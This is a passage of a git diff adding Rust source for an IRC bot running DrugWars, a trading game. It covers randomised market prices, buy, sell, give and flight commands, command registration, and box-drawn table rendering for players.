+                    drug_market: HashMap::default(),
+                    item_market: HashMap::default(),
+                    messages: vec![],
+                    blokes: HashSet::default(),
+                },
+            );
+        }
+
+        // OH LOOK ! I'M FUCKING SLEEP DEPRIVATED !
+        for (val_str, enum_variant) in [
+            ("rumor_up_here", MessageKind::RumorUpHere),
+            ("rumor_down_here", MessageKind::RumorDownHere),
+            ("rumor_up_at", MessageKind::RumorUpAt),
+            ("rumor_down_at", MessageKind::RumorDownAt),
+            ("welcome", MessageKind::Welcome),
+            ("price_up", MessageKind::PriceUp),
+            ("price_up_end", MessageKind::PriceUpEnd),
+            ("price_down", MessageKind::PriceDown),
+            ("price_down_end", MessageKind::PriceDownEnd),
+        ] {
+            let msgs = &config.messages[val_str].as_sequence().unwrap();
+            for msg in *msgs {
+                let message_vec = messages.entry(enum_variant).or_insert_with(|| vec![]);
+                message_vec.push(msg.as_str().unwrap().to_owned());
+            }
+        }
+
+        let day_duration = config.settings["day_duration"].as_u64().unwrap() as u32;
+        let current_day_str = config.settings["start_day"].as_str().unwrap();
+
+        Self {
+            settings: Settings {
+                day_duration,
+                current_day: NaiveDate::from_str(current_day_str).unwrap(),
+            },
+            timer: SystemTime::now(),
+            dealers: HashMap::default(),
+            locations,
+            flights: HashMap::default(),
+            drugs,
+            items,
+            messages,
+        }
+    }
+}
+
+impl DrugWars {
+    pub fn load_config(path: &str) -> Self {
+        let config = DrugWarsConfig::from_file(path).unwrap();
+
+        config.into()
+    }
+
+    pub fn init(&mut self) {
+        println!("initializing.");
+        let mut rng = rand::thread_rng();
+
+        self.update_markets(&mut rng);
+    }
+
+    fn update_markets(&mut self, rng: &mut dyn RngCore) {
+        for (_, location) in &mut self.locations {
+            location.drug_market.clear();
+            location.item_market.clear();
+
+            for (drug_name, drug) in &self.drugs {
+                if rng.gen_bool(4. / 5.) {
+                    continue;
+                };
+
+                let float_price = (drug.nominal_price as f32) / 10000.;
+
+                let normal = Normal::new(float_price, float_price / 2.).unwrap();
+
+                location.drug_market.insert(
+                    drug_name.clone(),
+                    MarketDrug {
+                        supply: rng.gen_range(0..1000),
+                        demand: rng.gen_range(0..1000),
+                        price: (normal.sample(rng) * 10000.) as u128,
+                    },
+                );
+            }
+
+            for (item_name, item) in &self.items {
+                if rng.gen_bool(4. / 5.) {
+                    continue;
+                };
+
+                let float_price = (item.nominal_price() as f32) / 10000.;
+
+                let normal = Normal::new(float_price, float_price / 2.).unwrap();
+
+                location.item_market.insert(
+                    item_name.clone(),
+                    MarketItem {
+                        supply: rng.gen_range(0..1000),
+                        demand: rng.gen_range(0..1000),
+                        price: (normal.sample(rng) * 10000.) as u128,
+                    },
+                );
+            }
+        }
+    }
+
+    pub fn new_day(&mut self, irc: &mut Irc) {
+        let Ok(elapsed) = self.timer.elapsed() else { return; };
+
+        if elapsed.as_secs_f32() > self.settings.day_duration as f32 {
+            irc.privmsg_all("new day!");
+
+            self.timer = SystemTime::now();
+            self.settings.current_day += Duration::days(1);
+
+            for (nick, destination) in &mut self.flights.clone() {
+                let dealer = self.get_dealer_mut(nick).unwrap();
+
+                // Should do mem trick at other places...
+                irc.privmsg_all(&format!("{}: You landed at {}", nick, destination));
+                dealer.location = std::mem::take(destination);
+                dealer.status = DealerStatus::Available;
+
+                let location = self.locations.get_mut(destination).unwrap();
+                location.blokes.insert(nick.clone());
+            }
+
+            self.flights.clear();
+
+            let mut rng = rand::thread_rng();
+            self.update_markets(&mut rng);
+        }
+    }
+
+    pub fn get_dealer(&self, nick: &str) -> Option<&Dealer> {
+        self.dealers.get(nick)
+    }
+
+    pub fn get_dealer_mut(&mut self, nick: &str) -> Option<&mut Dealer> {
+        self.dealers.get_mut(nick)
+    }
+
+    pub fn dealer_not_registered(&self, nick: &str) -> Vec<String> {
+        vec![format!("{} is not registered.", nick)]
+    }
+
+    pub fn dealer_not_available(&self, nick: &str) -> Vec<String> {
+        let dealer = self.get_dealer(nick).unwrap();
+
+        match dealer.status {
+            DealerStatus::Flying => vec![format!("{}: Can't do business while flying", nick)],
+            _ => vec![],
+        }
+    }
+
+    pub fn _buy_drug(
+        &mut self,
+        nick: &str,
+        drug_name: &str,
+        amount: usize,
+        price: u128,
+    ) -> Vec<String> {
+        let total_price = price * amount as u128;
+
+        let mut location = String::new();
+
+        let dealer = self.get_dealer_mut(nick).unwrap();
+        dealer.money -= total_price;
+        dealer.add_drug_local(drug_name, amount, price);
+        location += &dealer.location;
+
+        let location = self.locations.get_mut(&location).unwrap();
+        let market_drug = location.drug_market.get_mut(drug_name).unwrap();
+        market_drug.supply -= amount;
+        market_drug.demand += amount;
+
+        vec![format!(
+            "{}: you bought {} {} for {}",
+            nick,
+            amount,
+            drug_name,
+            pretty_print_money(total_price)
+        )]
+    }
+
+    pub fn _sell_drug(
+        &mut self,
+        nick: &str,
+        drug_name: &str,
+        amount: usize,
+        price: u128,
+    ) -> Vec<String> {
+        let total_price = price * amount as u128;
+
+        let mut location = String::new();
+
+        let dealer = self.get_dealer_mut(nick).unwrap();
+        dealer.money += total_price;
+        dealer.sub_drug_local(drug_name, amount);
+        location += &dealer.location;
+
+        let location = self.locations.get_mut(&location).unwrap();
+        let market_drug = location.drug_market.get_mut(drug_name).unwrap();
+        market_drug.supply += amount;
+        market_drug.demand -= amount;
+
+        vec![format!(
+            "{}: you sold {} {} for {}",
+            nick,
+            amount,
+            drug_name,
+            pretty_print_money(total_price)
+        )]
+    }
+
+    pub fn _buy_item(
+        &mut self,
+        nick: &str,
+        item_name: &str,
+        amount: usize,
+        price: u128,
+    ) -> Vec<String> {
+        let total_price = price * amount as u128;
+
+        let mut location = String::new();
+
+        let dealer = self.get_dealer_mut(nick).unwrap();
+        dealer.money -= total_price;
+        dealer.add_item_local(item_name, amount, price);
+        location += &dealer.location;
+
+        let location = self.locations.get_mut(&location).unwrap();
+        let market_item = location.item_market.get_mut(item_name).unwrap();
+        market_item.supply -= amount;
+        market_item.demand += amount;
+
+        vec![format!(
+            "{}: you bought {} {} for {}",
+            nick,
+            amount,
+            item_name,
+            pretty_print_money(total_price)
+        )]
+    }
+
+    pub fn _sell_item(
+        &mut self,
+        nick: &str,
+        item_name: &str,
+        amount: usize,
+        price: u128,
+    ) -> Vec<String> {
+        let total_price = price * amount as u128;
+
+        let mut location = String::new();
+
+        let dealer = self.get_dealer_mut(nick).unwrap();
+        dealer.money += total_price;
+        dealer.sub_item_local(item_name, amount);
+        location += &dealer.location;
+
+        let location = self.locations.get_mut(&location).unwrap();
+        let market_item = location.item_market.get_mut(item_name).unwrap();
+        market_item.supply += amount;
+        market_item.demand -= amount;
+
+        vec![format!(
+            "{}: you sold {} {} for {}",
+            nick,
+            amount,
+            item_name,
+            pretty_print_money(total_price)
+        )]
+    }
+
+    pub fn _give_money(&mut self, nick: &str, bloke_nick: &str, money: u128) -> Vec<String> {
+        let dealer = self.get_dealer_mut(nick).unwrap();
+        dealer.money -= money;
+
+        let bloke = self.get_dealer_mut(bloke_nick).unwrap();
+        bloke.money += money;
+
+        vec![format!(
+            "{}: you gave {} {}",
+            nick,
+            bloke_nick,
+            pretty_print_money(money),
+        )]
+    }
+
+    pub fn _give_drug(
+        &mut self,
+        nick: &str,
+        bloke_nick: &str,
+        drug_name: &str,
+        amount: usize,
+    ) -> Vec<String> {
+        let dealer = self.get_dealer_mut(nick).unwrap();
+        dealer.sub_drug_local(drug_name, amount);
+
+        let bloke = self.get_dealer_mut(bloke_nick).unwrap();
+        bloke.add_drug_local(drug_name, amount, 0);
+
+        vec![format!(
+            "{}: you gave {} {} to {}",
+            nick, amount, drug_name, bloke_nick
+        )]
+    }
+
+    pub fn _give_item(
+        &mut self,
+        nick: &str,
+        bloke_nick: &str,
+        item_name: &str,
+        amount: usize,
+    ) -> Vec<String> {
+        let dealer = self.get_dealer_mut(nick).unwrap();
+        dealer.sub_item_local(item_name, amount);
+
+        let bloke = self.get_dealer_mut(bloke_nick).unwrap();
+        bloke.add_item_local(item_name, amount, 0);
+
+        vec![format!(
+            "{}: you gave {} {} to {}",
+            nick, amount, item_name, bloke_nick
+        )]
+    }
+
+    pub fn _fly_to(&mut self, nick: &str, destination_name: &str) -> Vec<String> {
+        let dealer = self.get_dealer(nick).unwrap();
+        let current_location = self.locations.get(&dealer.location).unwrap();
+        let destination = self.locations.get(destination_name).unwrap();
+
+        let price = get_flight_price(current_location, destination);
+
+        let current_location = self.locations.get_mut(&dealer.location.clone()).unwrap();
+        current_location.blokes.remove(nick);
+
+        let dealer = self.get_dealer_mut(nick).unwrap();
+
+        dealer.money -= price;
+        dealer.status = DealerStatus::Flying;
+
+        self.flights
+            .insert(nick.to_string(), destination_name.to_owned());
+
+        vec![format!(
+            "{}: you take a flight to {} for {}. You'll arrive tomorrow",
+            nick,
+            destination_name,
+            pretty_print_money(price)
+        )]
+    }
+
+    pub fn prices_from(&self, current_location_name: &str) -> Vec<String> {
+        let mut lines = vec![];
+
+        let current_location = self.locations.get(current_location_name).unwrap();
+
+        for (location_name, location) in &self.locations {
+            if location_name.as_str() == current_location_name {
+                continue;
+            }
+
+            let price = get_flight_price(current_location, location);
+
+            lines.push(format!(
+                "From `{}` to `{}` -> {}",
+                current_location_name,
+                location_name,
+                pretty_print_money(price)
+            ));
+        }
+
+        lines
+    }
+
+    pub fn _buy_capacity(&mut self, nick: &str, amount: usize) -> Vec<String> {
+        let dealer = self.get_dealer_mut(nick).unwrap();
+
+        let Some(price) = capacity_price(dealer.capacity, amount) else {
+            return vec![
+                format!("{}: You won't ever need that much capacity. Will you?", nick)
+            ];
+        };
+
+        dealer.money -= price;
+        dealer.capacity += amount;
+
+        return vec![format!(
+            "{}: You bought {} slots for {}",
+            nick,
+            amount,
+            pretty_print_money(price)
+        )];
+    }
+}
diff --git a/irc/bots/drugwars/drugwars/src/main.rs b/irc/bots/drugwars/drugwars/src/main.rs
@@ -0,0 +1,276 @@
+pub mod config;
+pub mod drug_wars;
+pub mod utils;
+pub mod render;
+pub mod definitions;
+pub mod dealer;
+pub mod api;
+
+use std::{
+    sync::{Arc, RwLock},
+    time::Duration,
+};
+
+use drug_wars::DrugWars;
+use irc::{typemap::TypeMapKey, Irc, IrcPrefix};
+
+struct GameManager;
+
+impl TypeMapKey for GameManager {
+    type Value = Arc<RwLock<DrugWars>>;
+}
+
+fn main() {
+    let drug_wars_arc = Arc::new(RwLock::new(DrugWars::load_config("drugwars_config.yaml")));
+
+    {
+        let mut drug_wars = drug_wars_arc.write().unwrap();
+        drug_wars.init();
+    }
+
+    let mut irc = Irc::from_config("irc_config.yaml")
+        .add_resource::<Arc<RwLock<DrugWars>>, GameManager>(drug_wars_arc.clone())
+        .add_default_system(melp)
+        .add_system("register", register)
+        .add_system("todo", todo)
+        .add_system("p", show_page)
+        .add_system("mw", set_max_width)
+        .add_system("gm", give_money)
+        .add_system("gd", give_drug)
+        .add_system("gi", give_item)
+        .add_system("bd", buy_drug)
+        .add_system("sd", sell_drug)
+        .add_system("bi", buy_item)
+        .add_system("bc", buy_capacity)
+        .add_system("cc", check_capacity_price)
+        .add_system("si", sell_item)
+        .add_system("fp", check_flight_prices)
+        .add_system("f", flight)
+        .build();
+
+    irc.connect().unwrap();
+    irc.register();
+
+    loop {
+        {
+            let mut drug_wars = drug_wars_arc.write().unwrap();
+            drug_wars.new_day(&mut irc);
+        }
+        irc.update();
+        std::thread::sleep(Duration::from_millis(50));
+    }
+}
+
+fn register(irc: &mut Irc, prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
+    let data = irc.data().get::<GameManager>().unwrap();
+    let mut drug_wars = data.write().unwrap();
+    Some(drug_wars.register_dealer(prefix.nick))
+}
+
+fn show_page(irc: &mut Irc, prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
+    let data = irc.data().get::<GameManager>().unwrap();
+    let drug_wars = data.read().unwrap();
+    Some(drug_wars.show_page_for_nick(prefix.nick))
+}
+
+fn melp(_irc: &mut Irc, _prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
+    Some(vec!["melp?".to_owned()])
+}
+
+fn set_max_width(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
+    let data = irc.data().get::<GameManager>().unwrap();
+
+    let Ok(size) = arguments[0].parse::<usize>() else { 
+        return Some(vec![
+            format!(
+                "{}: Unable to parse {} as usize",
+                prefix.nick, arguments[1]
+            )
+        ]);
+    };
+    
+    if size < 75 || size > 130 {
+        return Some(vec![
+            format!("{}: Size must be between 75 and 130", prefix.nick)
+        ])
+    }
+
+    let mut drug_wars = data.write().unwrap();
+    Some(drug_wars.set_dealer_max_width(prefix.nick, size))
+}
+
+fn todo(_irc: &mut Irc, prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
+    Some(vec![
+        format!("{}: list of things to add:", prefix.nick),
+        "- encounters".to_owned(),
+        "- usage of items".to_owned(),
+        "- messages / rumors, the fun stuff".to_owned(),
+        "- save / load game".to_owned(),
+        "- shipping".to_owned(),
+        "- attack blokes @ same city".to_owned(),
+        "- some kind of flood protection".to_owned(),
+        "- some kind of spam protection".to_owned(),
+        "- single rng shared everywher".to_owned(),
+        "- refactor all this shit".to_owned(),
+        "- colors ^-^".to_owned(),
+    ])
+}
+
+fn buy_drug(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
+    let data = irc.data().get::<GameManager>().unwrap();
+    let Ok(amount) = arguments[1].parse::<usize>() else {
+        return Some(vec![
+            format!(
+                "{}: Unable to parse {} as usize",
+                prefix.nick, arguments[1]
+            )
+        ]);
+    };
+    
+    let mut drug_wars = data.write().unwrap();
+    Some(drug_wars.buy_drug(prefix.nick, arguments[0], amount))
+}
+
+fn sell_drug(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
+    let data = irc.data().get::<GameManager>().unwrap();
+
+    let Ok(amount) = arguments[1].parse::<usize>() else {
+        return Some(vec![
+            format!(
+                "{}: Unable to parse {} as usize",
+                prefix.nick, arguments[1]
+            )
+        ]);
+    };
+    
+    let mut drug_wars = data.write().unwrap();
+    Some(drug_wars.sell_drug(prefix.nick, arguments[0], amount))
+}
+
+fn buy_item(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
+    let data = irc.data().get::<GameManager>().unwrap();
+
+    let Ok(amount) = arguments[1].parse::<usize>() else {
+        return Some(vec![
+            format!(
+                "{}: Unable to parse {} as usize",
+                prefix.nick, arguments[1]
+            )
+        ]);
+    };
+    
+    let mut drug_wars = data.write().unwrap();
+    Some(drug_wars.buy_item(prefix.nick, arguments[0], amount))
+}
+
+fn sell_item(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
+    let data = irc.data().get::<GameManager>().unwrap();
+    let Ok(amount) = arguments[1].parse::<usize>() else {
+        return Some(vec![
+            format!(
+                "{}: Unable to parse {} as usize",
+                prefix.nick, arguments[1]
+            )
+        ]);
+    };
+    
+    let mut drug_wars = data.write().unwrap();
+    Some(drug_wars.sell_item(prefix.nick, arguments[0], amount))
+}
+
+fn check_flight_prices(irc: &mut Irc, prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
+    let data = irc.data().get::<GameManager>().unwrap();
+    let drug_wars = data.write().unwrap();
+    Some(drug_wars.check_flight_prices(prefix.nick))
+}
+
+fn flight(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
+    let data = irc.data().get::<GameManager>().unwrap();
+    let mut drug_wars = data.write().unwrap();
+    Some(drug_wars.fly_to(prefix.nick, arguments[0]))
+}
+
+fn give_money(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
+    let data = irc.data().get::<GameManager>().unwrap();
+    let Ok(amount) = arguments[1].parse::<f64>() else {
+        return Some(vec![
+            format!(
+                "{}: Unable to parse `{}` as f64",
+                prefix.nick, arguments[1]
+            )
+        ]);
+    };
+
+    if amount < 0. {
+        return Some(vec![
+            format!(
+                "{}: Can't give negative money",
+                prefix.nick
+            )
+        ]);
+    }
+
+    let mut drug_wars = data.write().unwrap();
+    Some(drug_wars.give_money(prefix.nick, amount, arguments[0]))
+}
+
+fn give_drug(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
+    let data = irc.data().get::<GameManager>().unwrap();
+    let Ok(amount) = arguments[2].parse::<usize>() else {
+        return Some(vec![
+            format!(
+                "{}: Unable to parse {} as usize",
+                prefix.nick, arguments[2]
+            )
+        ]);
+    };
+
+    let mut drug_wars = data.write().unwrap();
+    Some(drug_wars.give_drug(prefix.nick, arguments[1], amount, arguments[0]))
+}
+
+fn give_item(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
+    let data = irc.data().get::<GameManager>().unwrap();
+    let Ok(amount) = arguments[2].parse::<usize>() else {
+        return Some(vec![
+            format!(
+                "{}: Unable to parse {} as usize",
+                prefix.nick, arguments[2]
+            )
+        ]);
+    };
+
+    let mut drug_wars = data.write().unwrap();
+    Some(drug_wars.give_item(prefix.nick, arguments[1], amount, arguments[0]))
+}
+
+fn buy_capacity(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
+    let data = irc.data().get::<GameManager>().unwrap();
+    let Ok(amount) = arguments[0].parse::<usize>() else {
+        return Some(vec![
+            format!(
+                "{}: Unable to parse {} as usize",
+                prefix.nick, arguments[0]
+            )
+        ]);
+    };
+
+    let mut drug_wars = data.write().unwrap();
+    Some(drug_wars.buy_capacity(prefix.nick, amount))
+}
+
+fn check_capacity_price(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
+    let data = irc.data().get::<GameManager>().unwrap();
+
+    let Ok(amount) = arguments[0].parse::<usize>() else {
+        return Some(vec![
+            format!(
+                "{}: Unable to parse {} as usize",
+                prefix.nick, arguments[0]
+            )
+        ]);
+    };
+
+    let mut drug_wars = data.write().unwrap();
+    Some(drug_wars.check_capacity_price(prefix.nick, amount))
+}
+\ No newline at end of file
diff --git a/irc/bots/drugwars/drugwars/src/render.rs b/irc/bots/drugwars/drugwars/src/render.rs
@@ -0,0 +1,714 @@
+use chrono::Duration;
+use itertools::Itertools;
+
+use crate::{
+    dealer::Dealer,
+    drug_wars::DrugWars,
+    utils::{pretty_print_money, truncate_string},
+};
+
+impl DrugWars {
+    fn get_date_and_time(&self) -> String {
+        let current_date = self.settings.current_day.format("%Y-%m-%d").to_string();
+
+        let t = self.timer.elapsed().unwrap().as_secs_f32() / self.settings.day_duration as f32;
+
+        let current_seconds = t * 86400.;
+
+        let duration = Duration::seconds(current_seconds as i64);
+
+        let current_time = format!(
+            "{:0>2}:{:0>2}",
+            duration.num_hours(),
+            duration.num_minutes() - (60 * duration.num_hours())
+        );
+
+        format!("{} {}", current_date, current_time)
+    }
+
+    pub fn render_header(&self, nick: &str, dealer: &Dealer) -> Vec<String> {
+        let mut lines = vec![];
+
+        let date_nick_line = format!(
+            "╭ {} ─ {} ─ {} ─ {} ─ {} ",
+            self.get_date_and_time(),
+            nick,
+            pretty_print_money(dealer.money),
+            dealer.location,
+            dealer.print_status()
+        );
+        let top_box_line = "─".repeat(dealer.max_width - date_nick_line.chars().count() - 1);
+
+        lines.push(format!("{}{}╮", date_nick_line, top_box_line));
+
+        let location = self.locations.get(&dealer.location).unwrap();
+
+        for msg in &location.messages {
+            let start = format!("│ {}", msg);
+            let spaces = " ".repeat(dealer.max_width - start.chars().count() - 1);
+
+            lines.push(format!("{}{}│", start, spaces));
+        }
+
+        lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
+
+        lines
+    }
+
+    pub fn render_drugs(&self, dealer: &Dealer) -> Vec<String> {
+        let mut lines = vec![];
+
+        let market_column_width = ((dealer.max_width - 4) as f32 / 4.).floor() as usize;
+        let owned_column_width = ((dealer.max_width - 4) as f32 / 3.).floor() as usize;
+
+        lines.push(format!(
+            "╭ Drugs market {}╮",
+            "─".repeat(dealer.max_width - 16)
+        ));
+
+        let mut market_header = String::new();
+        for col_name in ["Drug", "Supply", "Demand", "Price"] {
+            let spaces = " ".repeat(market_column_width - col_name.chars().count());
+            market_header += &format!("{}{}", col_name, spaces);
+        }
+
+        market_header += &" ".repeat(dealer.max_width - market_header.chars().count() - 4);
+
+        lines.push(format!("│ {} │", market_header));
+
+        let location = self.locations.get(&dealer.location).unwrap();
+
+        for (drug_name, drug) in &location.drug_market {
+            let mut market_column = String::new();
+
+            let value = truncate_string(&drug_name, market_column_width);
+            let spaces = " ".repeat(market_column_width - value.chars().count());
+            market_column += &format!("{}{}", value, spaces);
+
+            let value = truncate_string(&format!("{}", drug.supply), market_column_width);
+            let spaces = " ".repeat(market_column_width - value.chars().count());
+            market_column += &format!("{}{}", value, spaces);
+
+            let value = truncate_string(&format!("{}", drug.demand), market_column_width);
+            let spaces = " ".repeat(market_column_width - value.chars().count());
+            market_column += &format!("{}{}", value, spaces);
+
+            let value = truncate_string(
+                &format!("{}", pretty_print_money(drug.price)),
+                market_column_width,
+            );
+            let spaces = " ".repeat(market_column_width - value.chars().count());
+            market_column += &format!("{}{}", value, spaces);
+
+            market_column += &" ".repeat(dealer.max_width - market_column.chars().count() - 4);
+
+            lines.push(format!("│ {} │", market_column));
+        }
+
+        lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
+
+        let mut header_line = format!(
+            "╭ Owned drugs ({}/{})",
+            dealer.get_total_drugs_local(),
+            dealer.capacity
+        );
+
+        header_line += &format!(
+            "{}╮",
+            "─".repeat(dealer.max_width - header_line.chars().count() - 1)
+        );
+        lines.push(header_line);
+
+        let mut owned_header = String::new();
+        for col_name in ["Drug", "Amount", "Bought at"] {
+            let spaces = " ".repeat(owned_column_width - col_name.chars().count());
+            owned_header += &format!("{}{}", col_name, spaces);
+        }
+
+        owned_header += &" ".repeat(dealer.max_width - owned_header.chars().count() - 4);
+
+        lines.push(format!("│ {} │", owned_header));
+
+        let owned_local = dealer.get_local_drugs();
+
+        for (drug_name, drug) in owned_local {
+            let mut owned_column = String::new();
+
+            let value = truncate_string(&drug_name, owned_column_width);
+            let spaces = " ".repeat(owned_column_width - value.chars().count());
+            owned_column += &format!("{}{}", value, spaces);
+
+            let value = truncate_string(&format!("{}", drug.amount), owned_column_width);
+            let spaces = " ".repeat(owned_column_width - value.chars().count());
+            owned_column += &format!("{}{}", value, spaces);
+
+            let value = truncate_string(
+                &format!("{}", pretty_print_money(drug.bought_at)),
+                owned_column_width,
+            );
+            let spaces = " ".repeat(owned_column_width - value.chars().count());
+            owned_column += &format!("{}{}", value, spaces);
+
+            owned_column += &" ".repeat(dealer.max_width - owned_column.chars().count() - 4);
+
+            lines.push(format!("│ {} │", owned_column));
+        }
+
+        lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
+
+        lines
+    }
+
+    pub fn render_items(&self, dealer: &Dealer) -> Vec<String> {
+        let mut lines = vec![];
+
+        let market_column_width = ((dealer.max_width - 4) as f32 / 4.).floor() as usize;
+        let owned_column_width = ((dealer.max_width - 4) as f32 / 3.).floor() as usize;
+
+        lines.push(format!(
+            "╭ Items market {}╮",
+            "─".repeat(dealer.max_width - 16)
+        ));
+
+        let mut market_header = String::new();
+        for col_name in ["Item", "Supply", "Demand", "Price"] {
+            let spaces = " ".repeat(market_column_width - col_name.chars().count());
+            market_header += &format!("{}{}", col_name, spaces);
+        }
+
+        market_header += &" ".repeat(dealer.max_width - market_header.chars().count() - 4);
+
+        lines.push(format!("│ {} │", market_header));
+
+        let location = self.locations.get(&dealer.location).unwrap();
+
+        for (item_name, item) in &location.item_market {
+            let mut market_column = String::new();
+
+            let value = truncate_string(&item_name, market_column_width);
+            let spaces = " ".repeat(market_column_width - value.chars().count());
+            market_column += &format!("{}{}", value, spaces);
+
+            let value = truncate_string(&format!("{}", item.supply), market_column_width);
+            let spaces = " ".repeat(market_column_width - value.chars().count());
+            market_column += &format!("{}{}", value, spaces);
+
+            let value = truncate_string(&format!("{}", item.demand), market_column_width);
+            let spaces = " ".repeat(market_column_width - value.chars().count());
+            market_column += &format!("{}{}", value, spaces);
+
+            let value = truncate_string(
+                &format!("{}", pretty_print_money(item.price)),
+                market_column_width,
+            );
+            let spaces = " ".repeat(market_column_width - value.chars().count());
+            market_column += &format!("{}{}", value, spaces);
+
+            market_column += &" ".repeat(dealer.max_width - market_column.chars().count() - 4);
+
+            lines.push(format!("│ {} │", market_column));
+        }
+
+        lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
+
+        let mut header_line = format!(
+            "╭ Owned items ({}/{})",
+            dealer.get_total_drugs_local(),
+            dealer.capacity
+        );
+
+        header_line += &format!(
+            "{}╮",
+            "─".repeat(dealer.max_width - header_line.chars().count() - 1)
+        );
+        lines.push(header_line);
+
+        let mut owned_header = String::new();
+        for col_name in ["Item", "Amount", "Bought at"] {
+            let spaces = " ".repeat(owned_column_width - col_name.chars().count());
+            owned_header += &format!("{}{}", col_name, spaces);
+        }
+
+        owned_header += &" ".repeat(dealer.max_width - owned_header.chars().count() - 4);
+
+        lines.push(format!("│ {} │", owned_header));
+
+        let owned_local = dealer.get_local_drugs();
+
+        for (item_name, item) in owned_local {
+            let mut owned_column = String::new();
+
+            let value = truncate_string(&item_name, owned_column_width);
+            let spaces = " ".repeat(owned_column_width - value.chars().count());
+            owned_column += &format!("{}{}", value, spaces);
+
+            let value = truncate_string(&format!("{}", item.amount), owned_column_width);
+            let spaces = " ".repeat(owned_column_width - value.chars().count());
+            owned_column += &format!("{}{}", value, spaces);
+
+            let value = truncate_string(
+                &format!("{}", pretty_print_money(item.bought_at)),
+                owned_column_width,
+            );
+            let spaces = " ".repeat(owned_column_width - value.chars().count());
+            owned_column += &format!("{}{}", value, spaces);
+
+            owned_column += &" ".repeat(dealer.max_width - owned_column.chars().count() - 4);
+
+            lines.push(format!("│ {} │", owned_column));
+        }
+
+        lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
+        lines
+    }
+
+    pub fn render_drugs_dual_columns(&self, dealer: &Dealer) -> Vec<String> {
+        let mut lines = vec![];
+
+        let market_width = dealer.max_width / 2;
+        let owned_width = dealer.max_width / 2;
+
+        let market_column_width = ((market_width - 2) as f32 / 4.).floor() as usize;
+        let owned_column_width = ((owned_width - 2) as f32 / 3.).floor() as usize;
+
+        let mut header_line = format!(
+            "╭ Drugs market {}┬ Owned drugs ({}/{}) ",
+            "─".repeat(market_width - 16),
+            dealer.get_total_drugs_local(),
+            dealer.capacity,
+        );
+
+        header_line += &format!(
+            "{}╮",
+            "─".repeat(dealer.max_width - header_line.chars().count() - 1)
+        );
+
+        lines.push(header_line);
+
+        // Market column headers
+        let mut market_header = String::new();
+        for col_name in ["Drug", "Supply", "Demand", "Price"] {
+            let spaces = " ".repeat(market_column_width - col_name.chars().count());
+            market_header += &format!("{}{}", col_name, spaces);
+        }
+
+        println!(
+            "mw: {}, mh: {}",
+            market_width,
+            market_header.chars().count()
+        );
+        let offset = (market_width - market_header.chars().count()).min(3);
+
+        market_header += &" ".repeat(market_width - market_header.chars().count() - offset);
+
+        // Owned column headers
+        let mut owned_header = String::new();
+        for col_name in ["Drug", "Amount", "Bought at"] {
+            let spaces = " ".repeat(owned_column_width - col_name.chars().count());
+            owned_header += &format!("{}{}", col_name, spaces);
+        }
+
+        let offset = (owned_width - owned_header.chars().count()).min(2);
+        owned_header += &" ".repeat(owned_width - owned_header.chars().count() - offset);
+
+        lines.push(format!("│ {}│ {}│", market_header, owned_header));
+
+        let location = self.locations.get(&dealer.location).unwrap();
+
+        let owned_local = dealer.get_local_drugs();
+
+        for pair in location.drug_market.iter().zip_longest(owned_local.iter()) {
+            match pair {
+                itertools::EitherOrBoth::Both(market, owned) => {
+                    // Market column
+                    let mut market_column = String::new();
+
+                    let value = truncate_string(market.0, market_column_width);
+                    let spaces = " ".repeat(market_column_width - value.chars().count());
+                    market_column += &format!("{}{}", value, spaces);
+
+                    let value =
+                        truncate_string(&format!("{}", market.1.supply), market_column_width);
+                    let spaces = " ".repeat(market_column_width - value.chars().count());
+                    market_column += &format!("{}{}", value, spaces);
+
+                    let value =
+                        truncate_string(&format!("{}", market.1.demand), market_column_width);
+                    let spaces = " ".repeat(market_column_width - value.chars().count());
+                    market_column += &format!("{}{}", value, spaces);
+
+                    let value = truncate_string(
+                        &format!("{}", pretty_print_money(market.1.price)),
+                        market_column_width,
+                    );
+                    let spaces = " ".repeat(market_column_width - value.chars().count());
+                    market_column += &format!("{}{}", value, spaces);
+
+                    let offset = (market_width - market_column.chars().count()).min(3);
+                    market_column +=
+                        &" ".repeat(market_width - market_column.chars().count() - offset);
+
+                    // Owned column
+                    let mut owned_column = String::new();
+
+                    let value = truncate_string(owned.0, owned_column_width);
+                    let spaces = " ".repeat(owned_column_width - value.chars().count());
+                    owned_column += &format!("{}{}", value, spaces);
+
+                    let value = truncate_string(&format!("{}", owned.1.amount), owned_column_width);
+                    let spaces = " ".repeat(owned_column_width - value.chars().count());
+                    owned_column += &format!("{}{}", value, spaces);
+
+                    let value = truncate_string(
+                        &format!("{}", pretty_print_money(owned.1.bought_at)),
+                        owned_column_width,
+                    );
+                    let spaces = " ".repeat(owned_column_width - value.chars().count());
+                    owned_column += &format!("{}{}", value, spaces);
+
+                    let offset = (owned_width - owned_column.chars().count()).min(2);
+                    owned_column +=
+                        &" ".repeat(owned_width - owned_column.chars().count() - offset);
+
+                    lines.push(format!("│ {}│ {}│", market_column, owned_column));
+                }
